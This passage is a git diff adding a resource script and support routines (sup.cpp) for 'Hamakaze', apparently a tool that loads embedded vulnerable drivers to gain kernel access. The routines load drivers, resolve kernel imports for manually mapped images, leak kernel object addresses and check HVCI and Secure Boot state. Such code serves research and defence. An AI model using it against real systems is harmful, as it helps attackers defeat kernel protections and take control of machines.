+// + +IDR_iQVM64 RCDATA "drv\\iQVM64.bin" + +IDR_PROCEXP RCDATA "drv\\procexp.bin" + +IDR_RTCORE64 RCDATA "drv\\RTCore64.bin" + + +///////////////////////////////////////////////////////////////////////////// +// +// Icon +// + +// Icon with lowest ID value placed first to ensure application icon +// remains consistent on all systems. +IDI_ICON1 ICON "res\\274.ico" + +#endif // English (United States) resources +///////////////////////////////////////////////////////////////////////////// + + + +#ifndef APSTUDIO_INVOKED +///////////////////////////////////////////////////////////////////////////// +// +// Generated from the TEXTINCLUDE 3 resource. +// + + +///////////////////////////////////////////////////////////////////////////// +#endif // not APSTUDIO_INVOKED + diff --git a/Source/Hamakaze/sup.cpp b/Source/Hamakaze/sup.cpp new file mode 100644 index 0000000..9bf29a7 --- /dev/null +++ b/Source/Hamakaze/sup.cpp @@ -0,0 +1,1301 @@ +/******************************************************************************* +* +* (C) COPYRIGHT AUTHORS, 2020 +* +* TITLE: SUP.CPP +* +* VERSION: 1.00 +* +* DATE: 07 Jan 2020 +* +* Program global support routines. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +*******************************************************************************/ + +#include "global.h" + +/* +* supHeapAlloc +* +* Purpose: +* +* Wrapper for RtlAllocateHeap with WinObjEx heap. +* +*/ +PVOID FORCEINLINE supHeapAlloc( + _In_ SIZE_T Size) +{ + return RtlAllocateHeap(NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, Size); +} + +/* +* supHeapFree +* +* Purpose: +* +* Wrapper for RtlFreeHeap with WinObjEx heap. +* +*/ +BOOL FORCEINLINE supHeapFree( + _In_ PVOID Memory) +{ + return RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, Memory); +} + +/* +* supChkSum +* +* Purpose: +* +* Calculate partial checksum for given buffer. +* +*/ +USHORT supChkSum( + ULONG PartialSum, + PUSHORT Source, + ULONG Length +) +{ + while (Length--) { + PartialSum += *Source++; + PartialSum = (PartialSum >> 16) + (PartialSum & 0xffff); + } + return (USHORT)(((PartialSum >> 16) + PartialSum) & 0xffff); +} + +/* +* supVerifyMappedImageMatchesChecksum +* +* Purpose: +* +* Calculate PE file checksum and compare it with checksum in PE header. +* +*/ +BOOLEAN supVerifyMappedImageMatchesChecksum( + _In_ PVOID BaseAddress, + _In_ ULONG FileLength +) +{ + PUSHORT AdjustSum; + PIMAGE_NT_HEADERS NtHeaders; + ULONG HeaderSum; + ULONG CheckSum; + USHORT PartialSum; + + PartialSum = supChkSum(0, (PUSHORT)BaseAddress, (FileLength + 1) >> 1); + + NtHeaders = RtlImageNtHeader(BaseAddress); + if (NtHeaders) { + AdjustSum = (PUSHORT)(&NtHeaders->OptionalHeader.CheckSum); + PartialSum -= (PartialSum < AdjustSum[0]); + PartialSum -= AdjustSum[0]; + PartialSum -= (PartialSum < AdjustSum[1]); + PartialSum -= AdjustSum[1]; + HeaderSum = NtHeaders->OptionalHeader.CheckSum; + } + else { + HeaderSum = FileLength; + PartialSum = 0; + } + + CheckSum = (ULONG)PartialSum + FileLength; + + return (CheckSum == HeaderSum); +} + +/* +* supxDeleteKeyRecursive +* +* Purpose: +* +* Delete key and all it subkeys/values. +* +*/ +BOOL supxDeleteKeyRecursive( + _In_ HKEY hKeyRoot, + _In_ LPWSTR lpSubKey) +{ + LPWSTR lpEnd; + LONG lResult; + DWORD dwSize; + WCHAR szName[MAX_PATH + 1]; + HKEY hKey; + FILETIME ftWrite; + + // + // Attempt to delete key as is. + // + lResult = RegDeleteKey(hKeyRoot, lpSubKey); + if (lResult == ERROR_SUCCESS) + return TRUE; + + // + // Try to open key to check if it exist. + // + lResult = RegOpenKeyEx(hKeyRoot, lpSubKey, 0, KEY_READ, &hKey); + if (lResult != ERROR_SUCCESS) { + if (lResult == ERROR_FILE_NOT_FOUND) + return TRUE; + else + return FALSE; + } + + // + // Add slash to the key path if not present. + // + lpEnd = _strend(lpSubKey); + if (*(lpEnd - 1) != TEXT('\\')) { + *lpEnd = TEXT('\\'); + lpEnd++; + *lpEnd = TEXT('\0'); + } + + // + // Enumerate subkeys and call this func for each. + // + dwSize = MAX_PATH; + lResult = RegEnumKeyEx(hKey, 0, szName, &dwSize, NULL, + NULL, NULL, &ftWrite); + + if (lResult == ERROR_SUCCESS) { + + do { + + _strncpy(lpEnd, MAX_PATH, szName, MAX_PATH); + + if (!supxDeleteKeyRecursive(hKeyRoot, lpSubKey)) + break; + + dwSize = MAX_PATH; + + lResult = RegEnumKeyEx(hKey, 0, szName, &dwSize, NULL, + NULL, NULL, &ftWrite); + + } while (lResult == ERROR_SUCCESS); + } + + lpEnd--; + *lpEnd = TEXT('\0'); + + RegCloseKey(hKey); + + // + // Delete current key, all it subkeys should be already removed. + // + lResult = RegDeleteKey(hKeyRoot, lpSubKey); + if (lResult == ERROR_SUCCESS) + return TRUE; + + return FALSE; +} + +/* +* supRegDeleteKeyRecursive +* +* Purpose: +* +* Delete key and all it subkeys/values. +* +* Remark: +* +* SubKey should not be longer than 260 chars. +* +*/ +BOOL supRegDeleteKeyRecursive( + _In_ HKEY hKeyRoot, + _In_ LPWSTR lpSubKey) +{ + WCHAR szKeyName[MAX_PATH * 2]; + RtlSecureZeroMemory(szKeyName, sizeof(szKeyName)); + _strncpy(szKeyName, MAX_PATH * 2, lpSubKey, MAX_PATH); + return supxDeleteKeyRecursive(hKeyRoot, szKeyName); +} + +/* +* supEnablePrivilege +* +* Purpose: +* +* Enable/Disable given privilege. +* +* Return NTSTATUS value. +* +*/ +NTSTATUS supEnablePrivilege( + _In_ DWORD PrivilegeName, + _In_ BOOL fEnable +) +{ + NTSTATUS status; + ULONG dummy; + HANDLE hToken; + TOKEN_PRIVILEGES TokenPrivileges; + + status = NtOpenProcessToken( + NtCurrentProcess(), + TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, + &hToken); + + if (!NT_SUCCESS(status)) { + return status; + } + + TokenPrivileges.PrivilegeCount = 1; + TokenPrivileges.Privileges[0].Luid.LowPart = PrivilegeName; + TokenPrivileges.Privileges[0].Luid.HighPart = 0; + TokenPrivileges.Privileges[0].Attributes = (fEnable) ? SE_PRIVILEGE_ENABLED : 0; + status = NtAdjustPrivilegesToken(hToken, FALSE, &TokenPrivileges, + sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PULONG)&dummy); + if (status == STATUS_NOT_ALL_ASSIGNED) { + status = STATUS_PRIVILEGE_NOT_HELD; + } + + NtClose(hToken); + return status; +} + +/* +* supLoadDriver +* +* Purpose: +* +* Install driver and load it. +* +* N.B. +* SE_LOAD_DRIVER_PRIVILEGE is required to be assigned and enabled. +* +*/ +NTSTATUS supLoadDriver( + _In_ LPCWSTR DriverName, + _In_ LPCWSTR DriverPath, + _In_ BOOLEAN UnloadPreviousInstance +) +{ + NTSTATUS status = STATUS_UNSUCCESSFUL; + DWORD dwData, dwResult; + HKEY keyHandle = NULL; + SIZE_T keyOffset; + UNICODE_STRING driverServiceName, driverImagePath; + + WCHAR szBuffer[MAX_PATH + 1]; + + if (DriverName == NULL) + return STATUS_INVALID_PARAMETER_1; + if (DriverPath == NULL) + return STATUS_INVALID_PARAMETER_2; + + RtlInitEmptyUnicodeString(&driverImagePath, NULL, 0); + if (!RtlDosPathNameToNtPathName_U(DriverPath, + &driverImagePath, + NULL, + NULL)) + { + return STATUS_INVALID_PARAMETER_2; + } + + RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); + + keyOffset = RTL_NUMBER_OF(NT_REG_PREP); + + if (FAILED(StringCchPrintf(szBuffer, MAX_PATH, + DRIVER_REGKEY, + NT_REG_PREP, + DriverName))) + { + status = STATUS_INVALID_PARAMETER_1; + goto Cleanup; + } + + if (ERROR_SUCCESS != RegCreateKeyEx(HKEY_LOCAL_MACHINE, + &szBuffer[keyOffset], + 0, + NULL, + REG_OPTION_NON_VOLATILE, + KEY_ALL_ACCESS, + NULL, + &keyHandle, + NULL)) + { + status = STATUS_ACCESS_DENIED; + goto Cleanup; + } + + dwResult = ERROR_SUCCESS; + + do { + + dwData = SERVICE_ERROR_NORMAL; + dwResult = RegSetValueEx(keyHandle, + TEXT("ErrorControl"), + 0, + REG_DWORD, + (BYTE*)&dwData, + sizeof(dwData)); + if (dwResult != ERROR_SUCCESS) + break; + + dwData = SERVICE_KERNEL_DRIVER; + dwResult = RegSetValueEx(keyHandle, + TEXT("Type"), + 0, + REG_DWORD, + (BYTE*)&dwData, + sizeof(dwData)); + if (dwResult != ERROR_SUCCESS) + break; + + dwData = SERVICE_DEMAND_START; + dwResult = RegSetValueEx(keyHandle, + TEXT("Start"), + 0, + REG_DWORD, + (BYTE*)&dwData, + sizeof(dwData)); + + if (dwResult != ERROR_SUCCESS) + break; + + dwResult = RegSetValueEx(keyHandle, + TEXT("ImagePath"), + 0, + REG_EXPAND_SZ, + (BYTE*)driverImagePath.Buffer, + (DWORD)driverImagePath.Length + sizeof(UNICODE_NULL)); + + } while (FALSE); + + RegCloseKey(keyHandle); + + if (dwResult != ERROR_SUCCESS) { + status = STATUS_ACCESS_DENIED; + goto Cleanup; + } + + RtlInitUnicodeString(&driverServiceName, szBuffer); + status = NtLoadDriver(&driverServiceName); + + if (UnloadPreviousInstance) { + if ((status == STATUS_IMAGE_ALREADY_LOADED) || + (status == STATUS_OBJECT_NAME_COLLISION) || + (status == STATUS_OBJECT_NAME_EXISTS)) + { + status = NtUnloadDriver(&driverServiceName); + if (NT_SUCCESS(status)) { + status = NtLoadDriver(&driverServiceName); + } + } + } + else { + if (status == STATUS_OBJECT_NAME_EXISTS) + status = STATUS_SUCCESS; + } + +Cleanup: + RtlFreeUnicodeString(&driverImagePath); + return status; +} + +/* +* supUnloadDriver +* +* Purpose: +* +* Call driver unload and remove corresponding registry key. +* +* N.B. +* SE_LOAD_DRIVER_PRIVILEGE is required to be assigned and enabled. +* +*/ +NTSTATUS supUnloadDriver( + _In_ LPCWSTR DriverName, + _In_ BOOLEAN fRemove +) +{ + NTSTATUS status; + SIZE_T keyOffset; + UNICODE_STRING driverServiceName; + + WCHAR szBuffer[MAX_PATH + 1]; + + RtlSecureZeroMemory(szBuffer, sizeof(szBuffer)); + + if (FAILED(StringCchPrintf(szBuffer, MAX_PATH, + DRIVER_REGKEY, + NT_REG_PREP, + DriverName))) + { + return STATUS_INVALID_PARAMETER_1; + } + + keyOffset = RTL_NUMBER_OF(NT_REG_PREP); + + RtlInitUnicodeString(&driverServiceName, szBuffer); + status = NtUnloadDriver(&driverServiceName); + + if (NT_SUCCESS(status)) { + if (fRemove) + supRegDeleteKeyRecursive(HKEY_LOCAL_MACHINE, &szBuffer[keyOffset]); + } + + return status; +} + +/* +* supOpenDriver +* +* Purpose: +* +* Open handle for helper driver. +* +*/ +NTSTATUS supOpenDriver( + _In_ LPCWSTR DriverName, + _Out_ PHANDLE DeviceHandle +) +{ + NTSTATUS status = STATUS_UNSUCCESSFUL; + + UNICODE_STRING usDeviceLink; + OBJECT_ATTRIBUTES obja; + IO_STATUS_BLOCK iost; + + TCHAR szDeviceLink[MAX_PATH + 1]; + + // assume failure + if (DeviceHandle) + *DeviceHandle = NULL; + else + return STATUS_INVALID_PARAMETER_2; + + if (DriverName) { + + RtlSecureZeroMemory(szDeviceLink, sizeof(szDeviceLink)); + + if (FAILED(StringCchPrintf(szDeviceLink, + MAX_PATH, + TEXT("\\DosDevices\\%wS"), + DriverName))) + { + return STATUS_INVALID_PARAMETER_1; + } + + RtlInitUnicodeString(&usDeviceLink, szDeviceLink); + InitializeObjectAttributes(&obja, &usDeviceLink, OBJ_CASE_INSENSITIVE, NULL, NULL); + + status = NtCreateFile(DeviceHandle, + GENERIC_READ | GENERIC_WRITE, + &obja, + &iost, + NULL, + 0, + 0, + FILE_OPEN, + 0, + NULL, + 0); + + } + else { + status = STATUS_INVALID_PARAMETER_1; + } + + return status; +} + +/* +* supGetSystemInfo +* +* Purpose: +* +* Wrapper for NtQuerySystemInformation. +* +*/ +PVOID supGetSystemInfo( + _In_ SYSTEM_INFORMATION_CLASS InfoClass +) +{ + INT c = 0; + PVOID Buffer = NULL; + ULONG Size = 0x1000; + NTSTATUS status; + ULONG memIO; + + do { + Buffer = supHeapAlloc((SIZE_T)Size); + if (Buffer != NULL) { + status = NtQuerySystemInformation(InfoClass, Buffer, Size, &memIO); + } + else { + return NULL; + } + if (status == STATUS_INFO_LENGTH_MISMATCH) { + supHeapFree(Buffer); + Buffer = NULL; + Size *= 2; + c++; + if (c > 100) { + status = STATUS_SECRET_TOO_LONG; + break; + } + } + } while (status == STATUS_INFO_LENGTH_MISMATCH); + + if (NT_SUCCESS(status)) { + return Buffer; + } + + if (Buffer) { + supHeapFree(Buffer); + } + return NULL; +} + +/* +* supGetNtOsBase +* +* Purpose: +* +* Return ntoskrnl base address. +* +*/ +ULONG_PTR supGetNtOsBase( + VOID +) +{ + PRTL_PROCESS_MODULES miSpace; + ULONG_PTR NtOsBase = 0; + + miSpace = (PRTL_PROCESS_MODULES)supGetSystemInfo(SystemModuleInformation); + if (miSpace) { + NtOsBase = (ULONG_PTR)miSpace->Modules[0].ImageBase; + RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, miSpace); + } + return NtOsBase; +} + +/* +* supQueryResourceData +* +* Purpose: +* +* Load resource by given id and decompress it. +* +* N.B. Use supHeapFree to release memory allocated for the decompressed buffer. +* +*/ +PBYTE supQueryResourceData( + _In_ ULONG_PTR ResourceId, + _In_ PVOID DllHandle, + _In_ PULONG DataSize +) +{ + NTSTATUS status; + SIZE_T decompressedSize = 0; + ULONG_PTR IdPath[3]; + IMAGE_RESOURCE_DATA_ENTRY* DataEntry; + PBYTE Data = NULL; + ULONG SizeOfData = 0; + + if (DllHandle != NULL) { + + IdPath[0] = (ULONG_PTR)RT_RCDATA; //type + IdPath[1] = ResourceId; //id + IdPath[2] = 0; //lang + + status = LdrFindResource_U(DllHandle, (ULONG_PTR*)&IdPath, 3, &DataEntry); + if (NT_SUCCESS(status)) { + status = LdrAccessResource(DllHandle, DataEntry, (PVOID*)&Data, &SizeOfData); + if (NT_SUCCESS(status)) { + + Data = (PBYTE)KDUDecompressResource(Data, + SizeOfData, + &decompressedSize); + + if (DataSize) { + *DataSize = (ULONG)decompressedSize; + } + } + } + } + return Data; +} + +/* +* supWriteBufferToFile +* +* Purpose: +* +* Create new file (or open existing) and write (append) buffer to it. +* +*/ +SIZE_T supWriteBufferToFile( + _In_ PWSTR lpFileName, + _In_ PVOID Buffer, + _In_ SIZE_T Size, + _In_ BOOL Flush, + _In_ BOOL Append, + _Out_opt_ NTSTATUS *Result +) +{ + NTSTATUS Status = STATUS_UNSUCCESSFUL; + DWORD dwFlag; + HANDLE hFile = NULL; + OBJECT_ATTRIBUTES attr; + UNICODE_STRING NtFileName; + IO_STATUS_BLOCK IoStatus; + LARGE_INTEGER Position; + ACCESS_MASK DesiredAccess; + PLARGE_INTEGER pPosition = NULL; + ULONG_PTR nBlocks, BlockIndex; + ULONG BlockSize, RemainingSize; + PBYTE ptr = (PBYTE)Buffer; + SIZE_T BytesWritten = 0; + + if (Result) + *Result = STATUS_UNSUCCESSFUL; + + if (RtlDosPathNameToNtPathName_U(lpFileName, &NtFileName, NULL, NULL) == FALSE) { + if (Result) + *Result = STATUS_INVALID_PARAMETER_1; + return 0; + } + + DesiredAccess = FILE_WRITE_ACCESS | SYNCHRONIZE; + dwFlag = FILE_OVERWRITE_IF; + + if (Append != FALSE) { + DesiredAccess |= FILE_READ_ACCESS; + dwFlag = FILE_OPEN_IF; + } + + InitializeObjectAttributes(&attr, &NtFileName, OBJ_CASE_INSENSITIVE, 0, NULL); + + __try { + Status = NtCreateFile(&hFile, DesiredAccess, &attr, + &IoStatus, NULL, FILE_ATTRIBUTE_NORMAL, 0, dwFlag, + FILE_SYNCHRONOUS_IO_NONALERT | FILE_NON_DIRECTORY_FILE, NULL, 0); + + if (!NT_SUCCESS(Status)) + __leave; + + pPosition = NULL; + + if (Append != FALSE) { + Position.LowPart = FILE_WRITE_TO_END_OF_FILE; + Position.HighPart = -1; + pPosition = &Position; + } + + if (Size < 0x80000000) { + BlockSize = (ULONG)Size; + Status = NtWriteFile(hFile, 0, NULL, NULL, &IoStatus, ptr, BlockSize, pPosition, NULL); + if (!NT_SUCCESS(Status)) + __leave; + + BytesWritten += IoStatus.Information; + } + else { + BlockSize = 0x7FFFFFFF; + nBlocks = (Size / BlockSize); + for (BlockIndex = 0; BlockIndex < nBlocks; BlockIndex++) { + + Status = NtWriteFile(hFile, 0, NULL, NULL, &IoStatus, ptr, BlockSize, pPosition, NULL); + if (!NT_SUCCESS(Status)) + __leave; + + ptr += BlockSize; + BytesWritten += IoStatus.Information; + } + RemainingSize = (ULONG)(Size % BlockSize); + if (RemainingSize != 0) { + Status = NtWriteFile(hFile, 0, NULL, NULL, &IoStatus, ptr, RemainingSize, pPosition, NULL); + if (!NT_SUCCESS(Status)) + __leave; + BytesWritten += IoStatus.Information; + } + } + } + __finally { + if (hFile != NULL) { + if (Flush != FALSE) NtFlushBuffersFile(hFile, &IoStatus); + NtClose(hFile); + } + RtlFreeUnicodeString(&NtFileName); + if (Result) *Result = Status; + } + return BytesWritten; +} + +/* +* supGetProcAddress +* +* Purpose: +* +* Get NtOskrnl procedure address. +* +*/ +ULONG_PTR supGetProcAddress( + _In_ ULONG_PTR KernelBase, + _In_ ULONG_PTR KernelImage, + _In_ LPCSTR FunctionName +) +{ + ANSI_STRING cStr; + ULONG_PTR pfn = 0; + + RtlInitString(&cStr, FunctionName); + if (!NT_SUCCESS(LdrGetProcedureAddress((PVOID)KernelImage, &cStr, 0, (PVOID*)&pfn))) + return 0; + + return KernelBase + (pfn - KernelImage); +} + +/* +* supResolveKernelImport +* +* Purpose: +* +* Resolve import (ntoskrnl only). +* +*/ +void supResolveKernelImport( + _In_ ULONG_PTR Image, + _In_ ULONG_PTR KernelImage, + _In_ ULONG_PTR KernelBase +) +{ + PIMAGE_OPTIONAL_HEADER popth; + ULONG_PTR ITableVA, * nextthunk; + PIMAGE_IMPORT_DESCRIPTOR ITable; + PIMAGE_THUNK_DATA pthunk; + PIMAGE_IMPORT_BY_NAME pname; + ULONG i; + + popth = &RtlImageNtHeader((PVOID)Image)->OptionalHeader; + + if (popth->NumberOfRvaAndSizes <= IMAGE_DIRECTORY_ENTRY_IMPORT) + return; + + ITableVA = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress; + if (ITableVA == 0) + return; + + ITable = (PIMAGE_IMPORT_DESCRIPTOR)(Image + ITableVA); + + if (ITable->OriginalFirstThunk == 0) + pthunk = (PIMAGE_THUNK_DATA)(Image + ITable->FirstThunk); + else + pthunk = (PIMAGE_THUNK_DATA)(Image + ITable->OriginalFirstThunk); + + for (i = 0; pthunk->u1.Function != 0; i++, pthunk++) { + nextthunk = (PULONG_PTR)(Image + ITable->FirstThunk); + if ((pthunk->u1.Ordinal & IMAGE_ORDINAL_FLAG) == 0) { + pname = (PIMAGE_IMPORT_BY_NAME)((PCHAR)Image + pthunk->u1.AddressOfData); + nextthunk[i] = supGetProcAddress(KernelBase, KernelImage, pname->Name); + } + else + nextthunk[i] = supGetProcAddress(KernelBase, KernelImage, (LPCSTR)(pthunk->u1.Ordinal & 0xffff)); + } +} + +/* +* supDetectObjectCallback +* +* Purpose: +* +* Comparer callback routine used in objects enumeration. +* +*/ +NTSTATUS NTAPI supDetectObjectCallback( + _In_ POBJECT_DIRECTORY_INFORMATION Entry, + _In_ PVOID CallbackParam +) +{ + POBJSCANPARAM Param = (POBJSCANPARAM)CallbackParam; + + if (Entry == NULL) { + return STATUS_INVALID_PARAMETER_1; + } + + if (CallbackParam == NULL) { + return STATUS_INVALID_PARAMETER_2; + } + + if (Param->Buffer == NULL || Param->BufferSize == 0) { + return STATUS_MEMORY_NOT_ALLOCATED; + } + + if (Entry->Name.Buffer) { + if (_strcmpi_w(Entry->Name.Buffer, Param->Buffer) == 0) { + return STATUS_SUCCESS; + } + } + return STATUS_UNSUCCESSFUL; +} + +/* +* supEnumSystemObjects +* +* Purpose: +* +* Lookup object by name in given directory. +* +*/ +NTSTATUS NTAPI supEnumSystemObjects( + _In_opt_ LPWSTR pwszRootDirectory, + _In_opt_ HANDLE hRootDirectory, + _In_ PENUMOBJECTSCALLBACK CallbackProc, + _In_opt_ PVOID CallbackParam +) +{ + ULONG ctx, rlen; + HANDLE hDirectory = NULL; + NTSTATUS status; + NTSTATUS CallbackStatus; + OBJECT_ATTRIBUTES attr; + UNICODE_STRING sname; + + POBJECT_DIRECTORY_INFORMATION objinf; + + if (CallbackProc == NULL) { + return STATUS_INVALID_PARAMETER_4; + } + + status = STATUS_UNSUCCESSFUL; + + __try { + + // We can use root directory. + if (pwszRootDirectory != NULL) { + RtlSecureZeroMemory(&sname, sizeof(sname)); + RtlInitUnicodeString(&sname, pwszRootDirectory); + InitializeObjectAttributes(&attr, &sname, OBJ_CASE_INSENSITIVE, NULL, NULL); + status = NtOpenDirectoryObject(&hDirectory, DIRECTORY_QUERY, &attr); + if (!NT_SUCCESS(status)) { + return status; + } + } + else { + if (hRootDirectory == NULL) { + return STATUS_INVALID_PARAMETER_2; + } + hDirectory = hRootDirectory; + } + + // Enumerate objects in directory. + ctx = 0; + do { + + rlen = 0; + status = NtQueryDirectoryObject(hDirectory, NULL, 0, TRUE, FALSE, &ctx, &rlen); + if (status != STATUS_BUFFER_TOO_SMALL) + break; + + objinf = (POBJECT_DIRECTORY_INFORMATION)supHeapAlloc(rlen); + if (objinf == NULL) + break; + + status = NtQueryDirectoryObject(hDirectory, objinf, rlen, TRUE, FALSE, &ctx, &rlen); + if (!NT_SUCCESS(status)) { + supHeapFree(objinf); + break; + } + + CallbackStatus = CallbackProc(objinf, CallbackParam); + + supHeapFree(objinf); + + if (NT_SUCCESS(CallbackStatus)) { + status = STATUS_SUCCESS; + break; + } + + } while (TRUE); + + if (hDirectory != NULL) { + NtClose(hDirectory); + } + + } + __except (EXCEPTION_EXECUTE_HANDLER) { + status = STATUS_ACCESS_VIOLATION; + } + + return status; +} + +/* +* supIsObjectExists +* +* Purpose: +* +* Return TRUE if the given object exists, FALSE otherwise. +* +*/ +BOOLEAN supIsObjectExists( + _In_ LPWSTR RootDirectory, + _In_ LPWSTR ObjectName +) +{ + OBJSCANPARAM Param; + + if (ObjectName == NULL) { + return FALSE; + } + + Param.Buffer = ObjectName; + Param.BufferSize = (ULONG)_strlen(ObjectName); + + return NT_SUCCESS(supEnumSystemObjects(RootDirectory, NULL, supDetectObjectCallback, &Param)); +} + +/* +* supQueryObjectFromHandle +* +* Purpose: +* +* Return object kernel address from handle in current process handle table. +* +*/ +BOOL supQueryObjectFromHandle( + _In_ HANDLE hOject, + _Out_ ULONG_PTR* Address +) +{ + BOOL bFound = FALSE; + ULONG i; + DWORD CurrentProcessId = GetCurrentProcessId(); + + PSYSTEM_HANDLE_INFORMATION_EX pHandles; + + if (Address) + *Address = 0; + else + return FALSE; + + pHandles = (PSYSTEM_HANDLE_INFORMATION_EX)supGetSystemInfo(SystemExtendedHandleInformation); + if (pHandles) { + for (i = 0; i < pHandles->NumberOfHandles; i++) { + if (pHandles->Handles[i].UniqueProcessId == CurrentProcessId) { + if (pHandles->Handles[i].HandleValue == (USHORT)(ULONG_PTR)hOject) { + *Address = (ULONG_PTR)pHandles->Handles[i].Object; + bFound = TRUE; + break; + } + } + } + supHeapFree(pHandles); + } + return bFound; +} + +/* +* supGetCommandLineOption +* +* Purpose: +* +* Parse command line options. +* +*/ +BOOL supGetCommandLineOption( + _In_ LPCTSTR OptionName, + _In_ BOOL IsParametric, + _Out_writes_opt_z_(ValueSize) LPTSTR OptionValue, + _In_ ULONG ValueSize +) +{ + LPTSTR cmdline = GetCommandLine(); + TCHAR Param[MAX_PATH + 1]; + ULONG rlen; + int i = 0; + + RtlSecureZeroMemory(Param, sizeof(Param)); + while (GetCommandLineParam(cmdline, i, Param, MAX_PATH, &rlen)) + { + if (rlen == 0) + break; + + if (_strcmp(Param, OptionName) == 0) + { + if (IsParametric) + return GetCommandLineParam(cmdline, i + 1, OptionValue, ValueSize, &rlen); + + return TRUE; + } + ++i; + } + + return 0; +} + +/* +* supQueryHVCIState +* +* Purpose: +* +* Query HVCI/IUM state. +* +*/ +BOOLEAN supQueryHVCIState( + _Out_ PBOOLEAN pbHVCIEnabled, + _Out_ PBOOLEAN pbHVCIStrictMode, + _Out_ PBOOLEAN pbHVCIIUMEnabled +) +{ + BOOLEAN hvciEnabled; + ULONG ReturnLength; + SYSTEM_CODEINTEGRITY_INFORMATION CodeIntegrity; + + if (pbHVCIEnabled) *pbHVCIEnabled = FALSE; + if (pbHVCIStrictMode) *pbHVCIStrictMode = FALSE; + if (pbHVCIIUMEnabled) *pbHVCIIUMEnabled = FALSE; + + CodeIntegrity.Length = sizeof(CodeIntegrity); + if (NT_SUCCESS(NtQuerySystemInformation( + SystemCodeIntegrityInformation, + &CodeIntegrity, + sizeof(CodeIntegrity), + &ReturnLength))) + { + hvciEnabled = ((CodeIntegrity.CodeIntegrityOptions & CODEINTEGRITY_OPTION_ENABLED) && + (CodeIntegrity.CodeIntegrityOptions & CODEINTEGRITY_OPTION_HVCI_KMCI_ENABLED)); + + *pbHVCIEnabled = hvciEnabled; + + *pbHVCIStrictMode = hvciEnabled && + (CodeIntegrity.CodeIntegrityOptions & CODEINTEGRITY_OPTION_HVCI_KMCI_STRICTMODE_ENABLED); + + *pbHVCIIUMEnabled = (CodeIntegrity.CodeIntegrityOptions & CODEINTEGRITY_OPTION_HVCI_IUM_ENABLED) > 0; + + return TRUE; + } + + return FALSE; +} + +/* +* supExpandEnvironmentStrings +* +* Purpose: +* +* Reimplemented ExpandEnvironmentStrings. +* +*/ +DWORD supExpandEnvironmentStrings( + _In_ LPCWSTR lpSrc, + _Out_writes_to_opt_(nSize, return) LPWSTR lpDst, + _In_ DWORD nSize +) +{ + NTSTATUS Status; + SIZE_T SrcLength = 0, ReturnLength = 0, DstLength = (SIZE_T)nSize; + + if (lpSrc) { + SrcLength = _strlen(lpSrc); + } + + Status = RtlExpandEnvironmentStrings( + NULL, + (PWSTR)lpSrc, + SrcLength, + (PWSTR)lpDst, + DstLength, + &ReturnLength); + + if ((NT_SUCCESS(Status)) || (Status == STATUS_BUFFER_TOO_SMALL)) { + + if (ReturnLength <= MAXDWORD32) + return (DWORD)ReturnLength; + + Status = STATUS_UNSUCCESSFUL; + } + RtlSetLastWin32Error(RtlNtStatusToDosError(Status)); + return 0; +} + +/* +* supQueryMaximumUserModeAddress +* +* Purpose: +* +* Return maximum user mode address. +* +*/ +ULONG_PTR supQueryMaximumUserModeAddress() +{ + NTSTATUS ntStatus; + + SYSTEM_BASIC_INFORMATION basicInfo; + + ULONG returnLength = 0; + SYSTEM_INFO systemInfo; + + RtlSecureZeroMemory(&basicInfo, sizeof(basicInfo)); + + ntStatus = NtQuerySystemInformation(SystemBasicInformation, + &basicInfo, + sizeof(basicInfo), + &returnLength); + + if (NT_SUCCESS(ntStatus)) { + return basicInfo.MaximumUserModeAddress; + } + else { + + RtlSecureZeroMemory(&systemInfo, sizeof(systemInfo)); + GetSystemInfo(&systemInfo); + return (ULONG_PTR)systemInfo.lpMaximumApplicationAddress; + } + +} + +/* +* supQuerySecureBootState +* +* Purpose: +* +* Query Firmware type and SecureBoot state if firmware is EFI. +* +*/ +BOOLEAN supQuerySecureBootState( + _Out_ PBOOLEAN pbSecureBoot +) +{ + BOOLEAN bResult = FALSE; + BOOLEAN bSecureBoot = FALSE; + + if (pbSecureBoot) + *pbSecureBoot = FALSE; + + if (NT_SUCCESS(supEnablePrivilege(SE_SYSTEM_ENVIRONMENT_PRIVILEGE, TRUE))) { + + bSecureBoot = FALSE; + + GetFirmwareEnvironmentVariable( + L"SecureBoot", + L"{8be4df61-93ca-11d2-aa0d-00e098032b8c}", + &bSecureBoot, + sizeof(BOOLEAN)); + + supEnablePrivilege(SE_SYSTEM_ENVIRONMENT_PRIVILEGE, FALSE); + + if (pbSecureBoot) { + *pbSecureBoot = bSecureBoot; + } + bResult = TRUE; + } + return bResult; +} + +/* +* supReadFileToBuffer +* +* Purpose: +* +* Read file to buffer. Release memory when it no longer needed. +* +*/ +PBYTE supReadFileToBuffer( + _In_ LPWSTR lpFileName, + _Inout_opt_ LPDWORD lpBufferSize +) +{ + BOOL bCond = FALSE; + NTSTATUS status; + HANDLE hFile = NULL, hRoot = NULL; + PBYTE Buffer = NULL; + SIZE_T sz = 0; + + UNICODE_STRING usName; + OBJECT_ATTRIBUTES attr; + IO_STATUS_BLOCK iost; + FILE_STANDARD_INFORMATION fi; + + if (lpFileName == NULL) + return NULL; + + usName.Buffer = NULL; + + do { + + if (!RtlDosPathNameToNtPathName_U(lpFileName, &usName, NULL, NULL)) + break; + + InitializeObjectAttributes(&attr, &usName, OBJ_CASE_INSENSITIVE, hRoot, NULL); + + status = NtCreateFile( + &hFile, + FILE_READ_DATA | SYNCHRONIZE, + &attr, + &iost, + NULL, + FILE_ATTRIBUTE_NORMAL, + FILE_SHARE_READ, + FILE_OPEN, + FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, + NULL, + 0 + ); + + if (!NT_SUCCESS(status)) { + break; + } + + RtlSecureZeroMemory(&fi, sizeof(fi)); + + status = NtQueryInformationFile( + hFile, + &iost, + &fi, + sizeof(FILE_STANDARD_INFORMATION), + 